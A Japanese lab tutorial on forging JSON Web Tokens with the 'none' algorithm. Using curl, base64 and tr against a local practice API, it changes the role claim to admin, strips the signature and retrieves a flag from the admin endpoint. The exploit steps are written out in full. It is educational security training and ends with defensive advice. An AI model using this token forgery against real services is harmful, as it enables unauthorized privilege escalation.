はじめに

JSON Web Token (JWT) は、クライアントとサーバーという 2 者間でセキュリティ情報を共有するために使用されるオープン標準です。各 JWT には、一連のクレーム(claims)を含むエンコードされた JSON オブジェクトが含まれています。JWT は、トークン発行後にクレームが改ざんされないよう、暗号化アルゴリズムを使用して署名されます。

ここで学ぶべき最も重要な初心者の教訓は、JWT の内容は通常「暗号化」されているのではなく「エンコード」されているだけだということです。トークンを保持している人は誰でも、多くの場合クレームを読み取ることができます。セキュリティの根拠は秘密性ではなく、署名の検証にあります。

しかし、JWT ライブラリの実装が不適切だと、深刻なセキュリティ脆弱性につながる可能性があります。最も悪名高い脆弱性の一つが「None」アルゴリズム攻撃です。サーバーが none アルゴリズムをサポートしている場合、攻撃者はトークンのペイロードを改ざん(ユーザーロールを「admin」に変更するなど)し、アルゴリズムを none に設定して、署名を削除することができます。その結果、サーバーは偽造されたトークンを有効なものとして受け入れてしまいます。

この実験では、脆弱性のあるローカル API を操作します。JWT の抽出方法、Base64Url 構造のデコード方法、権限を昇格させるためのペイロード操作、そして none アルゴリズムの脆弱性を悪用して不正に管理者権限を取得する方法を学びます。

JWT のインターセプトと抽出

このステップでは、マシン上で実行されているローカル API サーバーを操作します。このサーバーには、標準ユーザー用の JSON Web Token (JWT) を発行するログインエンドポイントがあります。最初のタスクは、このトークンを要求し、後の分析のために保存することです。

JWT は通常、HTTP の Authorization ヘッダー内で Bearer トークンとして送信されますが、最初は認証成功時にクライアントに提供されます。ここでは、curl コマンドラインツールを使用してログインリクエストをシミュレートします。

ターミナルで以下のコマンドを実行し、ログインエンドポイントにアクセスします。

curl -s http://127.0.0.1:5000/api/login

2 つのピリオド (.) で区切られた長い文字列を含む JSON レスポンスが表示されるはずです。この文字列が JWT です。

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

後のステップでこのトークンを扱いやすくするために、トークン文字列だけを抽出して token.txt というファイルに保存しましょう。grep と正規表現を使用して JSON 出力を解析します。

以下のコマンドを実行してトークンを保存します。

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

ファイルの内容を表示して、トークンが正しく保存されたことを確認できます。

cat token.txt

次のステップでこの構造を分解するため、このトークンを手元に置いておいてください。

JWT 構造のデコード

このステップでは、JWT を主要なコンポーネントに分解し、それらをデコードして含まれている情報を理解します。

標準的な JWT は、ドット (.) で区切られた 3 つの部分で構成されています。最初の部分はヘッダー(Header)で、使用されている署名アルゴリズム(例:HS256)などのトークンに関するメタデータが含まれています。2 番目の部分はペイロード(Payload)で、ユーザー名、ロール、有効期限などの実際のクレームやデータが含まれています。最後の部分は署名(Signature)で、JWT の送信者が本人であることの確認と、途中でメッセージが変更されていないことを保証するために使用されます。

この分離が重要なのは、多くの JWT 攻撃が「どの部分が安全に変更でき、どの部分が暗号的に保護されなければならないか」という混乱を突くものだからです。

ヘッダーとペイロードは Base64Url エンコーディングを使用してエンコードされています。つまり、これらは暗号化されておらず、トークンを傍受した人は誰でも簡単にデコードして内容を読み取ることができます。

そのため、機密性の高い認可の判断を、クレームが隠されていることに依存させてはいけません。必ず署名が正しく検証されていることに依存させる必要があります。

まず、トークンをヘッダーとペイロードのコンポーネントに分割し、別々のファイルに保存しましょう。cut コマンドを使用して、. 区切り文字で文字列を分割します。JWT ではドット文字が 3 つのセクションを区切っているため、特別な JWT ツールを使わなくても cut で簡単に分解できます。

## 最初の部分(ヘッダー)を抽出
cat token.txt | cut -d '.' -f 1 > header.b64

## 2番目の部分(ペイロード)を抽出
cat token.txt | cut -d '.' -f 2 > payload.b64

次に、ヘッダーをデコードします。Base64Url エンコーディングは末尾のパディング文字 (=) を省略することがあるため、標準の Base64 デコードツールがエラーを出す場合があります。今回のヘッダーは長さが適切に調整されているため、base64 -d コマンドで直接デコードできます。

cat header.b64 | base64 -d

以下のような出力が表示され、トークンが HS256 アルゴリズムを使用していることがわかります。

{"alg":"HS256","typ":"JWT"}

次に、ペイロードをデコードします。ペイロード文字列は、標準の base64 ユーティリティで正しくデコードするためにパディングが必要な場合があります。== を追加して適切にデコードできるようにします。

echo "$(cat payload.b64)==" | base64 -d

出力により、トークン内のクレームが明らかになります。

{"username":"guest","role":"user"}

現在のロールが user に設定されていることに注目してください。このトークンで /api/admin エンドポイントにアクセスしようとすると、アクセスが拒否されます。以下のコマンドを実行してテストできます。

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

サーバーはアクセス拒否エラーを返します。次のステップでは、これらのデコードされた部分を操作して、この制限をバイパスします。

'None'アルゴリズムの悪用

このステップでは、none アルゴリズムの脆弱性を悪用するために JWT ヘッダーを修正し、攻撃の準備をします。

サーバーが JWT を検証する際、ヘッダー内の alg (アルゴリズム) フィールドをチェックして、署名の作成に使用された暗号化アルゴリズムを確認します。設定が不適切な JWT ライブラリの中には、none というアルゴリズムをサポートしているものがあります。攻撃者が alg フィールドを none に変更すると、サーバーは署名の検証プロセスを完全にスキップする可能性があります。これにより、攻撃者はサーバーの秘密鍵なしでペイロードを改ざんし、有効な署名を生成できるようになります。

none アルゴリズムを指定する新しい JSON ヘッダーを作成しましょう。

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

次に、この新しい JSON 文字列を Base64Url 形式にエンコードする必要があります。Base64Url は標準の Base64 とは少し異なり、末尾の = パディング文字を削除し、+ を - に、/ を _ に置き換えます。

これは、標準の Linux コマンド(初期エンコード用の base64 と、特定の文字を変換・削除するための tr)を組み合わせて実現できます。

以下のコマンドを実行して新しいヘッダーをエンコードします。

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

新しくエンコードされたヘッダーの内容を確認しましょう。

cat new_header.b64

以下のような Base64Url 文字列が表示されるはずです。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

この文字列が悪意のあるヘッダーです。このヘッダーを使用することで、脆弱な API サーバーに対し、トークンの署名を検証しないよう指示することになります。

ペイロードクレームの変更(管理者ロール)

この最終ステップでは、JWT ペイロードを修正して権限を昇格させ、偽造トークンを組み立て、それを使用して制限された管理者エンドポイントにアクセスします。

先ほど、ペイロードに "role":"user" が含まれていることを確認しました。これを "role":"admin" に変更します。

まず、修正されたペイロードを含む新しい JSON ファイルを作成します。

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

次に、ヘッダーの時と同様に、この新しいペイロードを Base64Url 形式にエンコードします。同じ base64 と tr コマンドの組み合わせを使用します。

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

以下のコマンドでエンコードされたペイロードを確認できます。

cat new_payload.b64

これで、悪意のあるヘッダー (new_header.b64) と昇格されたペイロード (new_payload.b64) が揃いました。最後のステップは、最終的な JWT を構築することです。

JWT の形式は Header.Payload.Signature であることを思い出してください。none アルゴリズムを使用しているため、署名はありません。しかし、サーバーは依然としてトークンがドットで区切られた 3 つの部分で構成されていることを期待しています。そのため、偽造トークンは Header.Payload. のようになります。署名部分が空であっても、トークンを期待される 3 部構成に保つために、末尾のドットが重要です。

偽造トークンを組み立ててファイルに保存しましょう。

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

トークンが正しく作成されたか確認します。

cat forged_token.txt

最後に、攻撃をテストします。Authorization ヘッダーに偽造トークンを渡して、制限された /api/admin エンドポイントにリクエストを送信します。

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

攻撃が成功すれば、サーバーは none アルゴリズムを受け入れ、署名チェックをスキップし、あなたのロールを admin として読み取り、アクセスを許可します。秘密のフラグを含む成功メッセージが表示されるはずです。

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

まとめ

おめでとうございます!「JWT 操作の基礎」実験を無事に完了しました。

この実験では、以下のことを学びました。

  • API レスポンスから JSON Web Token をインターセプトおよび抽出する方法。
  • JWT の構造を分解し、Base64Url エンコードされたヘッダーとペイロードをデコードする方法。
  • 'none' アルゴリズムの脆弱性が持つ深刻なセキュリティ上の影響の理解。
  • ペイロードのクレームを改ざんし、署名検証をバイパスして権限昇格を実現する悪意のある JWT を手動で作成する方法。

これらのスキルは、API セキュリティを理解し、ペネトレーションテストやセキュリティ監査中に認証の欠陥を特定するために不可欠です。この実験では、アルゴリズムを none に設定することで、脆弱な検証モードを悪用しました。他のシナリオでは、攻撃者が何らかの方法で実際の署名秘密鍵を入手し、独自の有効なトークンを生成することで同様の結果を得る可能性があります。アプリケーションでは常に厳格なアルゴリズム検証を強制し、署名秘密鍵を慎重に保護し、本番環境では決して none アルゴリズムを受け入れないようにしてください。